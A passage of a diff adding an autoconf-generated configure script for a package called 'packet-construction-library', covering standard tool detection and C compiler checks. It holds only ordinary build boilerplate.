$(somedir) is conditionally defined. However this is wrong + # for two reasons: + # 1. if the package is installed by a user who cannot write `.' + # make install will fail, + # 2. the above comment should most certainly read + # $(mkdir_p) $(DESTDIR)$(somedir) + # so it does not work when $(somedir) is undefined and + # $(DESTDIR) is not. + # To support the latter case, we have to write + # test -z "$(somedir)" || $(mkdir_p) $(DESTDIR)$(somedir), + # so the `.' trick is pointless. + mkdir_p='mkdir -p --' +else + # On NextStep and OpenStep, the `mkdir' command does not + # recognize any option. It will interpret all options as + # directories to create, and then abort because `.' already + # exists. + for d in ./-p ./--version; + do + test -d $d && rmdir $d + done + # $(mkinstalldirs) is defined by Automake if mkinstalldirs exists. + if test -f "$ac_aux_dir/mkinstalldirs"; then + mkdir_p='$(mkinstalldirs)' + else + mkdir_p='$(install_sh) -d' + fi +fi + +for ac_prog in gawk mawk nawk awk +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_AWK+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$AWK"; then + ac_cv_prog_AWK="$AWK" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_AWK="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +AWK=$ac_cv_prog_AWK +if test -n "$AWK"; then + echo "$as_me:$LINENO: result: $AWK" >&5 +echo "${ECHO_T}$AWK" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + test -n "$AWK" && break +done + +echo "$as_me:$LINENO: checking whether ${MAKE-make} sets \$(MAKE)" >&5 +echo $ECHO_N "checking whether ${MAKE-make} sets \$(MAKE)... $ECHO_C" >&6 +set dummy ${MAKE-make}; ac_make=`echo "$2" | sed 'y,:./+-,___p_,'` +if eval "test \"\${ac_cv_prog_make_${ac_make}_set+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.make <<\_ACEOF +all: + @echo 'ac_maketemp="$(MAKE)"' +_ACEOF +# GNU make sometimes prints "make[1]: Entering...", which would confuse us. +eval `${MAKE-make} -f conftest.make 2>/dev/null | grep temp=` +if test -n "$ac_maketemp"; then + eval ac_cv_prog_make_${ac_make}_set=yes +else + eval ac_cv_prog_make_${ac_make}_set=no +fi +rm -f conftest.make +fi +if eval "test \"`echo '$ac_cv_prog_make_'${ac_make}_set`\" = yes"; then + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 + SET_MAKE= +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 + SET_MAKE="MAKE=${MAKE-make}" +fi + +rm -rf .tst 2>/dev/null +mkdir .tst 2>/dev/null +if test -d .tst; then + am__leading_dot=. +else + am__leading_dot=_ +fi +rmdir .tst 2>/dev/null + +# test to see if srcdir already configured +if test "`cd $srcdir && pwd`" != "`pwd`" && + test -f $srcdir/config.status; then + { { echo "$as_me:$LINENO: error: source directory already configured; run \"make distclean\" there first" >&5 +echo "$as_me: error: source directory already configured; run \"make distclean\" there first" >&2;} + { (exit 1); exit 1; }; } +fi + +# test whether we have cygpath +if test -z "$CYGPATH_W"; then + if (cygpath --version) >/dev/null 2>/dev/null; then + CYGPATH_W='cygpath -w' + else + CYGPATH_W=echo + fi +fi + + +# Define the identity of the package. + PACKAGE='packet-construction-library' + VERSION='1.1.3-RC-01' + + +cat >>confdefs.h <<_ACEOF +#define PACKAGE "$PACKAGE" +_ACEOF + + +cat >>confdefs.h <<_ACEOF +#define VERSION "$VERSION" +_ACEOF + +# Some tools Automake needs. + +ACLOCAL=${ACLOCAL-"${am_missing_run}aclocal-${am__api_version}"} + + +AUTOCONF=${AUTOCONF-"${am_missing_run}autoconf"} + + +AUTOMAKE=${AUTOMAKE-"${am_missing_run}automake-${am__api_version}"} + + +AUTOHEADER=${AUTOHEADER-"${am_missing_run}autoheader"} + + +MAKEINFO=${MAKEINFO-"${am_missing_run}makeinfo"} + +install_sh=${install_sh-"$am_aux_dir/install-sh"} + +# Installed binaries are usually stripped using `strip' when the user +# run `make install-strip'. However `strip' might not be the right +# tool to use in cross-compilation environments, therefore Automake +# will honor the `STRIP' environment variable to overrule this program. +if test "$cross_compiling" != no; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args. +set dummy ${ac_tool_prefix}strip; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_STRIP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$STRIP"; then + ac_cv_prog_STRIP="$STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_STRIP="${ac_tool_prefix}strip" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +STRIP=$ac_cv_prog_STRIP +if test -n "$STRIP"; then + echo "$as_me:$LINENO: result: $STRIP" >&5 +echo "${ECHO_T}$STRIP" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + +fi +if test -z "$ac_cv_prog_STRIP"; then + ac_ct_STRIP=$STRIP + # Extract the first word of "strip", so it can be a program name with args. +set dummy strip; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_ac_ct_STRIP+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_STRIP"; then + ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_STRIP="strip" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + + test -z "$ac_cv_prog_ac_ct_STRIP" && ac_cv_prog_ac_ct_STRIP=":" +fi +fi +ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP +if test -n "$ac_ct_STRIP"; then + echo "$as_me:$LINENO: result: $ac_ct_STRIP" >&5 +echo "${ECHO_T}$ac_ct_STRIP" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + STRIP=$ac_ct_STRIP +else + STRIP="$ac_cv_prog_STRIP" +fi + +fi +INSTALL_STRIP_PROGRAM="\${SHELL} \$(install_sh) -c -s" + +# We need awk for the "check" target. The system "awk" is bad on +# some platforms. +# Always define AMTAR for backward compatibility. + +AMTAR=${AMTAR-"${am_missing_run}tar"} + +am__tar='${AMTAR} chof - "$$tardir"'; am__untar='${AMTAR} xf -' + + + + + + ac_config_headers="$ac_config_headers include/config.h" + +echo "$as_me:$LINENO: checking whether to enable maintainer-specific portions of Makefiles" >&5 +echo $ECHO_N "checking whether to enable maintainer-specific portions of Makefiles... $ECHO_C" >&6 + # Check whether --enable-maintainer-mode or --disable-maintainer-mode was given. +if test "${enable_maintainer_mode+set}" = set; then + enableval="$enable_maintainer_mode" + USE_MAINTAINER_MODE=$enableval +else + USE_MAINTAINER_MODE=no +fi; + echo "$as_me:$LINENO: result: $USE_MAINTAINER_MODE" >&5 +echo "${ECHO_T}$USE_MAINTAINER_MODE" >&6 + + +if test $USE_MAINTAINER_MODE = yes; then + MAINTAINER_MODE_TRUE= + MAINTAINER_MODE_FALSE='#' +else + MAINTAINER_MODE_TRUE='#' + MAINTAINER_MODE_FALSE= +fi + + MAINT=$MAINTAINER_MODE_TRUE + + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. +set dummy ${ac_tool_prefix}gcc; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="${ac_tool_prefix}gcc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "gcc", so it can be a program name with args. +set dummy gcc; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="gcc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + CC=$ac_ct_CC +else + CC="$ac_cv_prog_CC" +fi + +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. +set dummy ${ac_tool_prefix}cc; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="${ac_tool_prefix}cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + CC=$ac_ct_CC +else + CC="$ac_cv_prog_CC" +fi + +fi +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + ac_prog_rejected=no +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + if test "$as_dir/$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# != 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + ac_cv_prog_CC="$as_dir/$ac_word${1+' '}$@" + fi +fi +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + for ac_prog in cl + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="$ac_tool_prefix$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + echo "$as_me:$LINENO: result: $CC" >&5 +echo "${ECHO_T}$CC" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + test -n "$CC" && break + done +fi +if test -z "$CC"; then + ac_ct_CC=$CC + for ac_prog in cl +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +echo "$as_me:$LINENO: checking for $ac_word" >&5 +echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 +if test "${ac_cv_prog_ac_ct_CC+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="$ac_prog" + echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 + break 2 + fi +done +done + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 +echo "${ECHO_T}$ac_ct_CC" >&6 +else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + + test -n "$ac_ct_CC" && break +done + + CC=$ac_ct_CC +fi + +fi + + +test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&5 +echo "$as_me: error: no acceptable C compiler found in \$PATH +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } + +# Provide some information about the compiler. +echo "$as_me:$LINENO:" \ + "checking for C compiler version" >&5 +ac_compiler=`set X $ac_compile; echo $2` +{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version </dev/null >&5\"") >&5 + (eval $ac_compiler --version </dev/null >&5) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v </dev/null >&5\"") >&5 + (eval $ac_compiler -v </dev/null >&5) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } +{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V </dev/null >&5\"") >&5 + (eval $ac_compiler -V </dev/null >&5) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files a.out a.exe b.out" +# Try to create an executable without -o first, disregard a.out. +# It will help us diagnose broken compilers, and finding out an intuition +# of exeext. +echo "$as_me:$LINENO: checking for C compiler default output file name" >&5 +echo $ECHO_N "checking for C compiler default output file name... $ECHO_C" >&6 +ac_link_default=`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` +if { (eval echo "$as_me:$LINENO: \"$ac_link_default\"") >&5 + (eval $ac_link_default) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # Find the output, starting from the most likely. This scheme is +# not robust to junk in `.', hence go to wildcards (a.*) only as a last +# resort. + +# Be careful to initialize this variable, since it used to be cached. +# Otherwise an old cache value of `no' led to `EXEEXT = no' in a Makefile. +ac_cv_exeext= +# b.out is created by i960 compilers. +for ac_file in a_out.exe a.exe conftest.exe a.out conftest a.* conftest.* b.out +do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) + ;; + conftest.$ac_ext ) + # This is the source file. + ;; + [ab].out ) + # We found the default executable, but exeext='' is most + # certainly right. + break;; + *.* ) + ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + # FIXME: I believe we export ac_cv_exeext for Libtool, + # but it would be cool to find out if it's true. Does anybody + # maintain Libtool? --akim. + export ac_cv_exeext + break;; + * ) + break;; + esac +done +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { echo "$as_me:$LINENO: error: C compiler cannot create executables +See \`config.log' for more details." >&5 +echo "$as_me: error: C compiler cannot create executables +See \`config.log' for more details." >&2;} + { (exit 77); exit 77; }; } +fi + +ac_exeext=$ac_cv_exeext +echo "$as_me:$LINENO: result: $ac_file" >&5 +echo "${ECHO_T}$ac_file" >&6 + +# Check the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +echo "$as_me:$LINENO: checking whether the C compiler works" >&5 +echo $ECHO_N "checking whether the C compiler works... $ECHO_C" >&6 +# FIXME: These cross compiler hacks should be removed for Autoconf 3.0 +# If not cross compiling, check that we can run a simple program. +if test "$cross_compiling" != yes; then + if { ac_try='./$ac_file' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + cross_compiling=no + else + if test "$cross_compiling" = maybe; then + cross_compiling=yes + else + { { echo "$as_me:$LINENO: error: cannot run C compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot run C compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } + fi + fi +fi +echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 + +rm -f a.out a.exe conftest$ac_cv_exeext b.out +ac_clean_files=$ac_clean_files_save +# Check the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +echo "$as_me:$LINENO: checking whether we are cross compiling" >&5 +echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6 +echo "$as_me:$LINENO: result: $cross_compiling" >&5 +echo "${ECHO_T}$cross_compiling" >&6 + +echo "$as_me:$LINENO: checking for suffix of executables" >&5 +echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6 +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + # If both `conftest.exe' and `conftest' are `present' (well, observable) +# catch `conftest.exe'. For instance with Cygwin, `ls conftest' will +# work properly (i.e., refer to `conftest.exe'), while it won't with +# `rm'. +for ac_file in conftest.exe conftest conftest.*; do + test -f "$ac_file" || continue + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg | *.o | *.obj ) ;; + *.* ) ac_cv_exeext=`expr "$ac_file" : '[^.]*\(\..*\)'` + export ac_cv_exeext + break;; + * ) break;; + esac +done +else + { { echo "$as_me:$LINENO: error: cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot compute suffix of executables: cannot compile and link +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +rm -f conftest$ac_cv_exeext +echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5 +echo "${ECHO_T}$ac_cv_exeext" >&6 + +rm -f conftest.$ac_ext +EXEEXT=$ac_cv_exeext +ac_exeext=$EXEEXT +echo "$as_me:$LINENO: checking for suffix of object files" >&5 +echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6 +if test "${ac_cv_objext+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.o conftest.obj +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; then + for ac_file in `(ls conftest.o conftest.obj; ls conftest.*) 2>/dev/null`; do + case $ac_file in + *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg ) ;; + *) ac_cv_objext=`expr "$ac_file" : '.*\.\(.*\)'` + break;; + esac +done +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +{ { echo "$as_me:$LINENO: error: cannot compute suffix of object files: cannot compile +See \`config.log' for more details." >&5 +echo "$as_me: error: cannot compute suffix of object files: cannot compile +See \`config.log' for more details." >&2;} + { (exit 1); exit 1; }; } +fi + +rm -f conftest.$ac_cv_objext conftest.$ac_ext +fi +echo "$as_me:$LINENO: result: $ac_cv_objext" >&5 +echo "${ECHO_T}$ac_cv_objext" >&6 +OBJEXT=$ac_cv_objext +ac_objext=$OBJEXT +echo "$as_me:$LINENO: checking whether we are using the GNU C compiler" >&5 +echo $ECHO_N "checking whether we are using the GNU C compiler... $ECHO_C" >&6 +if test "${ac_cv_c_compiler_gnu+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_compiler_gnu=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_compiler_gnu=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +ac_cv_c_compiler_gnu=$ac_compiler_gnu + +fi +echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5 +echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6 +GCC=`test $ac_compiler_gnu = yes && echo yes` +ac_test_CFLAGS=${CFLAGS+set} +ac_save_CFLAGS=$CFLAGS +CFLAGS="-g" +echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5 +echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6 +if test "${ac_cv_prog_cc_g+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cc_g=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_prog_cc_g=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +fi +echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5 +echo "${ECHO_T}$ac_cv_prog_cc_g" >&6 +if test "$ac_test_CFLAGS" = set; then + CFLAGS=$ac_save_CFLAGS +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi +echo "$as_me:$LINENO: checking for $CC option to accept ANSI C" >&5 +echo $ECHO_N "checking for $CC option to accept ANSI C... $ECHO_C" >&6 +if test "${ac_cv_prog_cc_stdc+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_cv_prog_cc_stdc=no 